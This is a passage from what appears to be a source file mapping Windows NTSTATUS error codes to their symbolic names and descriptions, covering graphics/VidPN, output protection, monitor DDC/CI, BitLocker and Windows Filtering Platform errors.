0xC01E0305: ("STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET","The specified video present target is invalid."),
0xC01E0306: ("STATUS_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED","The specified VidPN modality is not supported (for example, at least two of the pinned modes are not co-functional)."),
0xC01E0308: ("STATUS_GRAPHICS_INVALID_VIDPN_SOURCEMODESET","The specified VidPN source mode set is invalid."),
0xC01E0309: ("STATUS_GRAPHICS_INVALID_VIDPN_TARGETMODESET","The specified VidPN target mode set is invalid."),
0xC01E030A: ("STATUS_GRAPHICS_INVALID_FREQUENCY","The specified video signal frequency is invalid."),
0xC01E030B: ("STATUS_GRAPHICS_INVALID_ACTIVE_REGION","The specified video signal active region is invalid."),
0xC01E030C: ("STATUS_GRAPHICS_INVALID_TOTAL_REGION","The specified video signal total region is invalid."),
0xC01E0310: ("STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE","The specified video present source mode is invalid."),
0xC01E0311: ("STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE","The specified video present target mode is invalid."),
0xC01E0312: ("STATUS_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET","The pinned mode must remain in the set on the VidPN's co-functional modality enumeration."),
0xC01E0313: ("STATUS_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY","The specified video present path is already in the VidPN's topology."),
0xC01E0314: ("STATUS_GRAPHICS_MODE_ALREADY_IN_MODESET","The specified mode is already in the mode set."),
0xC01E0315: ("STATUS_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET","The specified video present source set is invalid."),
0xC01E0316: ("STATUS_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET","The specified video present target set is invalid."),
0xC01E0317: ("STATUS_GRAPHICS_SOURCE_ALREADY_IN_SET","The specified video present source is already in the video present source set."),
0xC01E0318: ("STATUS_GRAPHICS_TARGET_ALREADY_IN_SET","The specified video present target is already in the video present target set."),
0xC01E0319: ("STATUS_GRAPHICS_INVALID_VIDPN_PRESENT_PATH","The specified VidPN present path is invalid."),
0xC01E031A: ("STATUS_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY","The miniport has no recommendation for augmenting the specified VidPN's topology."),
0xC01E031B: ("STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET","The specified monitor frequency range set is invalid."),
0xC01E031C: ("STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE","The specified monitor frequency range is invalid."),
0xC01E031D: ("STATUS_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET","The specified frequency range is not in the specified monitor frequency range set."),
0xC01E031F: ("STATUS_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET","The specified frequency range is already in the specified monitor frequency range set."),
0xC01E0320: ("STATUS_GRAPHICS_STALE_MODESET","The specified mode set is stale. Reacquire the new mode set."),
0xC01E0321: ("STATUS_GRAPHICS_INVALID_MONITOR_SOURCEMODESET","The specified monitor source mode set is invalid."),
0xC01E0322: ("STATUS_GRAPHICS_INVALID_MONITOR_SOURCE_MODE","The specified monitor source mode is invalid."),
0xC01E0323: ("STATUS_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN","The miniport does not have a recommendation regarding the request to provide a functional VidPN given the current display adapter configuration."),
0xC01E0324: ("STATUS_GRAPHICS_MODE_ID_MUST_BE_UNIQUE","The ID of the specified mode is being used by another mode in the set."),
0xC01E0325: ("STATUS_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION","The system failed to determine a mode that is supported by both the display adapter and the monitor connected to it."),
0xC01E0326: ("STATUS_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES","The number of video present targets must be greater than or equal to the number of video present sources."),
0xC01E0327: ("STATUS_GRAPHICS_PATH_NOT_IN_TOPOLOGY","The specified present path is not in the VidPN's topology."),
0xC01E0328: ("STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE","The display adapter must have at least one video present source."),
0xC01E0329: ("STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET","The display adapter must have at least one video present target."),
0xC01E032A: ("STATUS_GRAPHICS_INVALID_MONITORDESCRIPTORSET","The specified monitor descriptor set is invalid."),
0xC01E032B: ("STATUS_GRAPHICS_INVALID_MONITORDESCRIPTOR","The specified monitor descriptor is invalid."),
0xC01E032C: ("STATUS_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET","The specified descriptor is not in the specified monitor descriptor set."),
0xC01E032D: ("STATUS_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET","The specified descriptor is already in the specified monitor descriptor set."),
0xC01E032E: ("STATUS_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE","The ID of the specified monitor descriptor is being used by another descriptor in the set."),
0xC01E032F: ("STATUS_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE","The specified video present target subset type is invalid."),
0xC01E0330: ("STATUS_GRAPHICS_RESOURCES_NOT_RELATED","Two or more of the specified resources are not related to each other, as defined by the interface semantics."),
0xC01E0331: ("STATUS_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE","The ID of the specified video present source is being used by another source in the set."),
0xC01E0332: ("STATUS_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE","The ID of the specified video present target is being used by another target in the set."),
0xC01E0333: ("STATUS_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET","The specified VidPN source cannot be used because there is no available VidPN target to connect it to."),
0xC01E0334: ("STATUS_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER","The newly arrived monitor could not be associated with a display adapter."),
0xC01E0335: ("STATUS_GRAPHICS_NO_VIDPNMGR","The particular display adapter does not have an associated VidPN manager."),
0xC01E0336: ("STATUS_GRAPHICS_NO_ACTIVE_VIDPN","The VidPN manager of the particular display adapter does not have an active VidPN."),
0xC01E0337: ("STATUS_GRAPHICS_STALE_VIDPN_TOPOLOGY","The specified VidPN topology is stale; obtain the new topology."),
0xC01E0338: ("STATUS_GRAPHICS_MONITOR_NOT_CONNECTED","No monitor is connected on the specified video present target."),
0xC01E0339: ("STATUS_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY","The specified source is not part of the specified VidPN's topology."),
0xC01E033A: ("STATUS_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE","The specified primary surface size is invalid."),
0xC01E033B: ("STATUS_GRAPHICS_INVALID_VISIBLEREGION_SIZE","The specified visible region size is invalid."),
0xC01E033C: ("STATUS_GRAPHICS_INVALID_STRIDE","The specified stride is invalid."),
0xC01E033D: ("STATUS_GRAPHICS_INVALID_PIXELFORMAT","The specified pixel format is invalid."),
0xC01E033E: ("STATUS_GRAPHICS_INVALID_COLORBASIS","The specified color basis is invalid."),
0xC01E033F: ("STATUS_GRAPHICS_INVALID_PIXELVALUEACCESSMODE","The specified pixel value access mode is invalid."),
0xC01E0340: ("STATUS_GRAPHICS_TARGET_NOT_IN_TOPOLOGY","The specified target is not part of the specified VidPN's topology."),
0xC01E0341: ("STATUS_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT","Failed to acquire the display mode management interface."),
0xC01E0342: ("STATUS_GRAPHICS_VIDPN_SOURCE_IN_USE","The specified VidPN source is already owned by a DMM client and cannot be used until that client releases it."),
0xC01E0343: ("STATUS_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN","The specified VidPN is active and cannot be accessed."),
0xC01E0344: ("STATUS_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL","The specified VidPN's present path importance ordinal is invalid."),
0xC01E0345: ("STATUS_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION","The specified VidPN's present path content geometry transformation is invalid."),
0xC01E0346: ("STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED","The specified content geometry transformation is not supported on the respective VidPN present path."),
0xC01E0347: ("STATUS_GRAPHICS_INVALID_GAMMA_RAMP","The specified gamma ramp is invalid."),
0xC01E0348: ("STATUS_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED","The specified gamma ramp is not supported on the respective VidPN present path."),
0xC01E0349: ("STATUS_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED","Multisampling is not supported on the respective VidPN present path."),
0xC01E034A: ("STATUS_GRAPHICS_MODE_NOT_IN_MODESET","The specified mode is not in the specified mode set."),
0xC01E034D: ("STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON","The specified VidPN topology recommendation reason is invalid."),
0xC01E034E: ("STATUS_GRAPHICS_INVALID_PATH_CONTENT_TYPE","The specified VidPN present path content type is invalid."),
0xC01E034F: ("STATUS_GRAPHICS_INVALID_COPYPROTECTION_TYPE","The specified VidPN present path copy protection type is invalid."),
0xC01E0350: ("STATUS_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS","Only one unassigned mode set can exist at any one time for a particular VidPN source or target."),
0xC01E0352: ("STATUS_GRAPHICS_INVALID_SCANLINE_ORDERING","The specified scan line ordering type is invalid."),
0xC01E0353: ("STATUS_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED","The topology changes are not allowed for the specified VidPN."),
0xC01E0354: ("STATUS_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS","All available importance ordinals are being used in the specified topology."),
0xC01E0355: ("STATUS_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT","The specified primary surface has a different private-format attribute than the current primary surface."),
0xC01E0356: ("STATUS_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM","The specified mode-pruning algorithm is invalid."),
0xC01E0357: ("STATUS_GRAPHICS_INVALID_MONITOR_CAPABILITY_ORIGIN","The specified monitor-capability origin is invalid."),
0xC01E0358: ("STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE_CONSTRAINT","The specified monitor-frequency range constraint is invalid."),
0xC01E0359: ("STATUS_GRAPHICS_MAX_NUM_PATHS_REACHED","The maximum supported number of present paths has been reached."),
0xC01E035A: ("STATUS_GRAPHICS_CANCEL_VIDPN_TOPOLOGY_AUGMENTATION","The miniport requested that augmentation be canceled for the specified source of the specified VidPN's topology."),
0xC01E035B: ("STATUS_GRAPHICS_INVALID_CLIENT_TYPE","The specified client type was not recognized."),
0xC01E035C: ("STATUS_GRAPHICS_CLIENTVIDPN_NOT_SET","The client VidPN is not set on this adapter (for example, no user mode-initiated mode changes have taken place on this adapter)."),
0xC01E0400: ("STATUS_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED","The specified display adapter child device already has an external device connected to it."),
0xC01E0401: ("STATUS_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED","The display adapter child device does not support reporting a descriptor."),
0xC01E0430: ("STATUS_GRAPHICS_NOT_A_LINKED_ADAPTER","The display adapter is not linked to any other adapters."),
0xC01E0431: ("STATUS_GRAPHICS_LEADLINK_NOT_ENUMERATED","The lead adapter in a linked configuration was not enumerated yet."),
0xC01E0432: ("STATUS_GRAPHICS_CHAINLINKS_NOT_ENUMERATED","Some chain adapters in a linked configuration have not yet been enumerated."),
0xC01E0433: ("STATUS_GRAPHICS_ADAPTER_CHAIN_NOT_READY","The chain of linked adapters is not ready to start because of an unknown failure."),
0xC01E0434: ("STATUS_GRAPHICS_CHAINLINKS_NOT_STARTED","An attempt was made to start a lead link display adapter when the chain links had not yet started."),
0xC01E0435: ("STATUS_GRAPHICS_CHAINLINKS_NOT_POWERED_ON","An attempt was made to turn on a lead link display adapter when the chain links were turned off."),
0xC01E0436: ("STATUS_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE","The adapter link was found in an inconsistent state. Not all adapters are in an expected PNP/power state."),
0xC01E0438: ("STATUS_GRAPHICS_NOT_POST_DEVICE_DRIVER","The driver trying to start is not the same as the driver for the posted display adapter."),
0xC01E043B: ("STATUS_GRAPHICS_ADAPTER_ACCESS_NOT_EXCLUDED","An operation is being attempted that requires the display adapter to be in a quiescent state."),
0xC01E0500: ("STATUS_GRAPHICS_OPM_NOT_SUPPORTED","The driver does not support OPM."),
0xC01E0501: ("STATUS_GRAPHICS_COPP_NOT_SUPPORTED","The driver does not support COPP."),
0xC01E0502: ("STATUS_GRAPHICS_UAB_NOT_SUPPORTED","The driver does not support UAB."),
0xC01E0503: ("STATUS_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS","The specified encrypted parameters are invalid."),
0xC01E0504: ("STATUS_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL","An array passed to a function cannot hold all of the data that the function wants to put in it."),
0xC01E0505: ("STATUS_GRAPHICS_OPM_NO_PROTECTED_OUTPUTS_EXIST","The GDI display device passed to this function does not have any active protected outputs."),
0xC01E0506: ("STATUS_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME","The PVP cannot find an actual GDI display device that corresponds to the passed-in GDI display device name."),
0xC01E0507: ("STATUS_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP","This function failed because the GDI display device passed to it was not attached to the Windows desktop."),
0xC01E0508: ("STATUS_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED","The PVP does not support mirroring display devices because they do not have any protected outputs."),
0xC01E050A: ("STATUS_GRAPHICS_OPM_INVALID_POINTER","The function failed because an invalid pointer parameter was passed to it. A pointer parameter is invalid if it is null, is not correctly aligned, or it points to an invalid address or a kernel mode address."),
0xC01E050B: ("STATUS_GRAPHICS_OPM_INTERNAL_ERROR","An internal error caused an operation to fail."),
0xC01E050C: ("STATUS_GRAPHICS_OPM_INVALID_HANDLE","The function failed because the caller passed in an invalid OPM user-mode handle."),
0xC01E050D: ("STATUS_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE","This function failed because the GDI device passed to it did not have any monitors associated with it."),
0xC01E050E: ("STATUS_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH","A certificate could not be returned because the certificate buffer passed to the function was too small."),
0xC01E050F: ("STATUS_GRAPHICS_OPM_SPANNING_MODE_ENABLED","DxgkDdiOpmCreateProtectedOutput() could not create a protected output because the video present yarget is in spanning mode."),
0xC01E0510: ("STATUS_GRAPHICS_OPM_THEATER_MODE_ENABLED","DxgkDdiOpmCreateProtectedOutput() could not create a protected output because the video present target is in theater mode."),
0xC01E0511: ("STATUS_GRAPHICS_PVP_HFS_FAILED","The function call failed because the display adapter's hardware functionality scan (HFS) failed to validate the graphics hardware."),
0xC01E0512: ("STATUS_GRAPHICS_OPM_INVALID_SRM","The HDCP SRM passed to this function did not comply with section 5 of the HDCP 1.1 specification."),
0xC01E0513: ("STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP","The protected output cannot enable the HDCP system because it does not support it."),
0xC01E0514: ("STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP","The protected output cannot enable analog copy protection because it does not support it."),
0xC01E0515: ("STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA","The protected output cannot enable the CGMS-A protection technology because it does not support it."),
0xC01E0516: ("STATUS_GRAPHICS_OPM_HDCP_SRM_NEVER_SET","DxgkDdiOPMGetInformation() cannot return the version of the SRM being used because the application never successfully passed an SRM to the protected output."),
0xC01E0517: ("STATUS_GRAPHICS_OPM_RESOLUTION_TOO_HIGH","DxgkDdiOPMConfigureProtectedOutput() cannot enable the specified output protection technology because the output's screen resolution is too high."),
0xC01E0518: ("STATUS_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE","DxgkDdiOPMConfigureProtectedOutput() cannot enable HDCP because other physical outputs are using the display adapter's HDCP hardware."),
0xC01E051A: ("STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_NO_LONGER_EXISTS","The operating system asynchronously destroyed this OPM-protected output because the operating system state changed. This error typically occurs because the monitor PDO associated with this protected output was removed or stopped, the protected output's session became a nonconsole session, or the protected output's desktop became inactive."),
0xC01E051B: ("STATUS_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS","OPM functions cannot be called when a session is changing its type. Three types of sessions currently exist: console, disconnected, and remote (RDP or ICA)."),
0xC01E051C: ("STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_COPP_SEMANTICS","The DxgkDdiOPMGetCOPPCompatibleInformation, DxgkDdiOPMGetInformation, or DxgkDdiOPMConfigureProtectedOutput function failed. This error is returned only if a protected output has OPM semantics. DxgkDdiOPMGetCOPPCompatibleInformation always returns this error if a protected output has OPM semantics. DxgkDdiOPMGetInformation returns this error code if the caller requested COPP-specific information. DxgkDdiOPMConfigureProtectedOutput returns this error when the caller tries to use a COPP-specific command."),
0xC01E051D: ("STATUS_GRAPHICS_OPM_INVALID_INFORMATION_REQUEST","The DxgkDdiOPMGetInformation and DxgkDdiOPMGetCOPPCompatibleInformation functions return this error code if the passed-in sequence number is not the expected sequence number or the passed-in OMAC value is invalid."),
0xC01E051E: ("STATUS_GRAPHICS_OPM_DRIVER_INTERNAL_ERROR","The function failed because an unexpected error occurred inside a display driver."),
0xC01E051F: ("STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_OPM_SEMANTICS","The DxgkDdiOPMGetCOPPCompatibleInformation, DxgkDdiOPMGetInformation, or DxgkDdiOPMConfigureProtectedOutput function failed. This error is returned only if a protected output has COPP semantics. DxgkDdiOPMGetCOPPCompatibleInformation returns this error code if the caller requested OPM-specific information. DxgkDdiOPMGetInformation always returns this error if a protected output has COPP semantics. DxgkDdiOPMConfigureProtectedOutput returns this error when the caller tries to use an OPM-specific command."),
0xC01E0520: ("STATUS_GRAPHICS_OPM_SIGNALING_NOT_SUPPORTED","The DxgkDdiOPMGetCOPPCompatibleInformation and DxgkDdiOPMConfigureProtectedOutput functions return this error if the display driver does not support the DXGKMDT_OPM_GET_ACP_AND_CGMSA_SIGNALING and DXGKMDT_OPM_SET_ACP_AND_CGMSA_SIGNALING GUIDs."),
0xC01E0521: ("STATUS_GRAPHICS_OPM_INVALID_CONFIGURATION_REQUEST","The DxgkDdiOPMConfigureProtectedOutput function returns this error code if the passed-in sequence number is not the expected sequence number or the passed-in OMAC value is invalid."),
0xC01E0580: ("STATUS_GRAPHICS_I2C_NOT_SUPPORTED","The monitor connected to the specified video output does not have an I2C bus."),
0xC01E0581: ("STATUS_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST","No device on the I2C bus has the specified address."),
0xC01E0582: ("STATUS_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA","An error occurred while transmitting data to the device on the I2C bus."),
0xC01E0583: ("STATUS_GRAPHICS_I2C_ERROR_RECEIVING_DATA","An error occurred while receiving data from the device on the I2C bus."),
0xC01E0584: ("STATUS_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED","The monitor does not support the specified VCP code."),
0xC01E0585: ("STATUS_GRAPHICS_DDCCI_INVALID_DATA","The data received from the monitor is invalid."),
0xC01E0586: ("STATUS_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE","A function call failed because a monitor returned an invalid timing status byte when the operating system used the DDC/CI get timing report and timing message command to get a timing report from a monitor."),
0xC01E0587: ("STATUS_GRAPHICS_DDCCI_INVALID_CAPABILITIES_STRING","A monitor returned a DDC/CI capabilities string that did not comply with the ACCESS.bus 3.0, DDC/CI 1.1, or MCCS 2 Revision 1 specification."),
0xC01E0588: ("STATUS_GRAPHICS_MCA_INTERNAL_ERROR","An internal error caused an operation to fail."),
0xC01E0589: ("STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND","An operation failed because a DDC/CI message had an invalid value in its command field."),
0xC01E058A: ("STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH","This error occurred because a DDC/CI message had an invalid value in its length field."),
0xC01E058B: ("STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM","This error occurred because the value in a DDC/CI message's checksum field did not match the message's computed checksum value. This error implies that the data was corrupted while it was being transmitted from a monitor to a computer."),
0xC01E058C: ("STATUS_GRAPHICS_INVALID_PHYSICAL_MONITOR_HANDLE","This function failed because an invalid monitor handle was passed to it."),
0xC01E058D: ("STATUS_GRAPHICS_MONITOR_NO_LONGER_EXISTS","The operating system asynchronously destroyed the monitor that corresponds to this handle because the operating system's state changed. This error typically occurs because the monitor PDO associated with this handle was removed or stopped, or a display mode change occurred. A display mode change occurs when Windows sends a WM_DISPLAYCHANGE message to applications."),
0xC01E05E0: ("STATUS_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED","This function can be used only if a program is running in the local console session. It cannot be used if a program is running on a remote desktop session or on a terminal server session."),
0xC01E05E1: ("STATUS_GRAPHICS_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME","This function cannot find an actual GDI display device that corresponds to the specified GDI display device name."),
0xC01E05E2: ("STATUS_GRAPHICS_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP","The function failed because the specified GDI display device was not attached to the Windows desktop."),
0xC01E05E3: ("STATUS_GRAPHICS_MIRRORING_DEVICES_NOT_SUPPORTED","This function does not support GDI mirroring display devices because GDI mirroring display devices do not have any physical monitors associated with them."),
0xC01E05E4: ("STATUS_GRAPHICS_INVALID_POINTER","The function failed because an invalid pointer parameter was passed to it. A pointer parameter is invalid if it is null, is not correctly aligned, or points to an invalid address or to a kernel mode address."),
0xC01E05E5: ("STATUS_GRAPHICS_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE","This function failed because the GDI device passed to it did not have a monitor associated with it."),
0xC01E05E6: ("STATUS_GRAPHICS_PARAMETER_ARRAY_TOO_SMALL","An array passed to the function cannot hold all of the data that the function must copy into the array."),
0xC01E05E7: ("STATUS_GRAPHICS_INTERNAL_ERROR","An internal error caused an operation to fail."),
0xC01E05E8: ("STATUS_GRAPHICS_SESSION_TYPE_CHANGE_IN_PROGRESS","The function failed because the current session is changing its type. This function cannot be called when the current session is changing its type. Three types of sessions currently exist: console, disconnected, and remote (RDP or ICA)."),
0xC0210000: ("STATUS_FVE_LOCKED_VOLUME","The volume must be unlocked before it can be used."),
0xC0210001: ("STATUS_FVE_NOT_ENCRYPTED","The volume is fully decrypted and no key is available."),
0xC0210002: ("STATUS_FVE_BAD_INFORMATION","The control block for the encrypted volume is not valid."),
0xC0210003: ("STATUS_FVE_TOO_SMALL","Not enough free space remains on the volume to allow encryption."),
0xC0210004: ("STATUS_FVE_FAILED_WRONG_FS","The partition cannot be encrypted because the file system is not supported."),
0xC0210005: ("STATUS_FVE_FAILED_BAD_FS","The file system is inconsistent. Run the Check Disk utility."),
0xC0210006: ("STATUS_FVE_FS_NOT_EXTENDED","The file system does not extend to the end of the volume."),
0xC0210007: ("STATUS_FVE_FS_MOUNTED","This operation cannot be performed while a file system is mounted on the volume."),
0xC0210008: ("STATUS_FVE_NO_LICENSE","BitLocker Drive Encryption is not included with this version of Windows."),
0xC0210009: ("STATUS_FVE_ACTION_NOT_ALLOWED","The requested action was denied by the FVE control engine."),
0xC021000A: ("STATUS_FVE_BAD_DATA","The data supplied is malformed."),
0xC021000B: ("STATUS_FVE_VOLUME_NOT_BOUND","The volume is not bound to the system."),
0xC021000C: ("STATUS_FVE_NOT_DATA_VOLUME","The volume specified is not a data volume."),
0xC021000D: ("STATUS_FVE_CONV_READ_ERROR","A read operation failed while converting the volume."),
0xC021000E: ("STATUS_FVE_CONV_WRITE_ERROR","A write operation failed while converting the volume."),
0xC021000F: ("STATUS_FVE_OVERLAPPED_UPDATE","The control block for the encrypted volume was updated by another thread. Try again."),
0xC0210010: ("STATUS_FVE_FAILED_SECTOR_SIZE","The volume encryption algorithm cannot be used on this sector size."),
0xC0210011: ("STATUS_FVE_FAILED_AUTHENTICATION","BitLocker recovery authentication failed."),
0xC0210012: ("STATUS_FVE_NOT_OS_VOLUME","The volume specified is not the boot operating system volume."),
0xC0210013: ("STATUS_FVE_KEYFILE_NOT_FOUND","The BitLocker startup key or recovery password could not be read from external media."),
0xC0210014: ("STATUS_FVE_KEYFILE_INVALID","The BitLocker startup key or recovery password file is corrupt or invalid."),
0xC0210015: ("STATUS_FVE_KEYFILE_NO_VMK","The BitLocker encryption key could not be obtained from the startup key or the recovery password."),
0xC0210016: ("STATUS_FVE_TPM_DISABLED","The TPM is disabled."),
0xC0210017: ("STATUS_FVE_TPM_SRK_AUTH_NOT_ZERO","The authorization data for the SRK of the TPM is not zero."),
0xC0210018: ("STATUS_FVE_TPM_INVALID_PCR","The system boot information changed or the TPM locked out access to BitLocker encryption keys until the computer is restarted."),
0xC0210019: ("STATUS_FVE_TPM_NO_VMK","The BitLocker encryption key could not be obtained from the TPM."),
0xC021001A: ("STATUS_FVE_PIN_INVALID","The BitLocker encryption key could not be obtained from the TPM and PIN."),
0xC021001B: ("STATUS_FVE_AUTH_INVALID_APPLICATION","A boot application hash does not match the hash computed when BitLocker was turned on."),
0xC021001C: ("STATUS_FVE_AUTH_INVALID_CONFIG","The Boot Configuration Data (BCD) settings are not supported or have changed because BitLocker was enabled."),
0xC021001D: ("STATUS_FVE_DEBUGGER_ENABLED","Boot debugging is enabled. Run Windows Boot Configuration Data Store Editor (bcdedit.exe) to turn it off."),
0xC021001E: ("STATUS_FVE_DRY_RUN_FAILED","The BitLocker encryption key could not be obtained."),
0xC021001F: ("STATUS_FVE_BAD_METADATA_POINTER","The metadata disk region pointer is incorrect."),
0xC0210020: ("STATUS_FVE_OLD_METADATA_COPY","The backup copy of the metadata is out of date."),
0xC0210021: ("STATUS_FVE_REBOOT_REQUIRED","No action was taken because a system restart is required."),
0xC0210022: ("STATUS_FVE_RAW_ACCESS","No action was taken because BitLocker Drive Encryption is in RAW access mode."),
0xC0210023: ("STATUS_FVE_RAW_BLOCKED","BitLocker Drive Encryption cannot enter RAW access mode for this volume."),
0xC0210026: ("STATUS_FVE_NO_FEATURE_LICENSE","This feature of BitLocker Drive Encryption is not included with this version of Windows."),
0xC0210027: ("STATUS_FVE_POLICY_USER_DISABLE_RDV_NOT_ALLOWED","Group policy does not permit turning off BitLocker Drive Encryption on roaming data volumes."),
0xC0210028: ("STATUS_FVE_CONV_RECOVERY_FAILED","Bitlocker Drive Encryption failed to recover from aborted conversion. This could be due to either all conversion logs being corrupted or the media being write-protected."),
0xC0210029: ("STATUS_FVE_VIRTUALIZED_SPACE_TOO_BIG","The requested virtualization size is too big."),
0xC0210030: ("STATUS_FVE_VOLUME_TOO_SMALL","The drive is too small to be protected using BitLocker Drive Encryption."),
0xC0220001: ("STATUS_FWP_CALLOUT_NOT_FOUND","The callout does not exist."),
0xC0220002: ("STATUS_FWP_CONDITION_NOT_FOUND","The filter condition does not exist."),
0xC0220003: ("STATUS_FWP_FILTER_NOT_FOUND","The filter does not exist."),
0xC0220004: ("STATUS_FWP_LAYER_NOT_FOUND","The layer does not exist."),
0xC0220005: ("STATUS_FWP_PROVIDER_NOT_FOUND","The provider does not exist."),
0xC0220006: ("STATUS_FWP_PROVIDER_CONTEXT_NOT_FOUND","The provider context does not exist."),
0xC0220007: ("STATUS_FWP_SUBLAYER_NOT_FOUND","The sublayer does not exist."),
0xC0220008: ("STATUS_FWP_NOT_FOUND","The object does not exist."),
0xC0220009: ("STATUS_FWP_ALREADY_EXISTS","An object with that GUID or LUID already exists."),
0xC022000A: ("STATUS_FWP_IN_USE","The object is referenced by other objects and cannot be deleted."),
0xC022000B: ("STATUS_FWP_DYNAMIC_SESSION_IN_PROGRESS","The call is not allowed from within a dynamic session."),
0xC022000C: ("STATUS_FWP_WRONG_SESSION","The call was made from the wrong session and cannot be completed."),
0xC022000D: ("STATUS_FWP_NO_TXN_IN_PROGRESS","The call must be made from within an explicit transaction."),
0xC022000E: ("STATUS_FWP_TXN_IN_PROGRESS","The call is not allowed from within an explicit transaction."),
0xC022000F: ("STATUS_FWP_TXN_ABORTED","The explicit transaction has been forcibly canceled."),
0xC0220010: ("STATUS_FWP_SESSION_ABORTED","The session has been canceled."),
0xC0220011: ("STATUS_FWP_INCOMPATIBLE_TXN","The call is not allowed from within a read-only transaction."),
0xC0220012: ("STATUS_FWP_TIMEOUT","The call timed out while waiting to acquire the transaction lock."),
0xC0220013: ("STATUS_FWP_NET_EVENTS_DISABLED","The collection of network diagnostic events is disabled."),
0xC0220014: ("STATUS_FWP_INCOMPATIBLE_LAYER","The operation is not supported by the specified layer."),
0xC0220015: ("STATUS_FWP_KM_CLIENTS_ONLY","The call is allowed for kernel-mode callers only."),
0xC0220016: ("STATUS_FWP_LIFETIME_MISMATCH","The call tried to associate two objects with incompatible lifetimes."),
0xC0220017: ("STATUS_FWP_BUILTIN_OBJECT","The object is built-in and cannot be deleted."),
0xC0220018: ("STATUS_FWP_TOO_MANY_BOOTTIME_FILTERS","The maximum number of boot-time filters has been reached."),
0xC0220018: ("STATUS_FWP_TOO_MANY_CALLOUTS","The maximum number of callouts has been reached."),
0xC0220019: ("STATUS_FWP_NOTIFICATION_DROPPED","A notification could not be delivered because a message queue has reached maximum capacity."),
0xC022001A: ("STATUS_FWP_TRAFFIC_MISMATCH","The traffic parameters do not match those for the security association context."),
0xC022001B: ("STATUS_FWP_INCOMPATIBLE_SA_STATE","The call is not allowed for the current security association state."),
0xC022001C: ("STATUS_FWP_NULL_POINTER","A required pointer is null."),
0xC022001D: ("STATUS_FWP_INVALID_ENUMERATOR","An enumerator is not valid."),
0xC022001E: ("STATUS_FWP_INVALID_FLAGS","The flags field contains an invalid value."),
